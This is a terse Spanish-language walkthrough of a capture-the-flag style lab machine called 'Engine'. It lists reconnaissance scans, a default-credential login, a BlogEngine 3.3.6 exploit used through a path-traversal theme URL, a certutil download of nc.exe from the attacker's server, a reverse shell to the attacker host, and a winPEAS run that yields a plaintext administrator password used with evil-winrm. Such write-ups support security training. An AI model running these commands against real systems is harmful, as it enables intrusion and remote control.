Engine

nmap -A -p- -oA engine 172.31.1.16 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA engine 172.31.1.16

nmap -sU -O -p- -oA engine-udp 172.31.1.16

nikto -h 172.31.1.16:80

gobuster dir -k -u http://172.31.1.16/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Usamos las credenciales admin:admin

Vemos que es la version 3.3.6

Buscamos con searchsploit blogengine 3.3.6

searchsploit blogengine -w

Le damos click al 46353

Y copiamos el codigo a un archivo llamado PostView.ascx Cambiamos la ip a la de la maquina kali en el codigo:

Nos dirigimos a http://172.31.1.16/admin/app/editor/editpost.cshtml

Nos dirigimos a http://172.31.1.16/blog?theme=../../App_Data/files

python3 -m http.server 8888

certutil -urlcache -split -f http://10.10.0.12:8888/nc.exe nc.exe

start /b nc.exe -e cmd.exe 10.10.0.12 3333

nc -lvnp 3333

python3 -m http.server 8888

certutil -urlcache -split -f http://10.10.0.12:8888/winPEASany.exe winPEASany.exe

Vemos unas credenciales de administrador al correr winpeas

evil-winrm -i 172.31.1.16 -u Administrator -p PzCEKhvj6gQMk7kA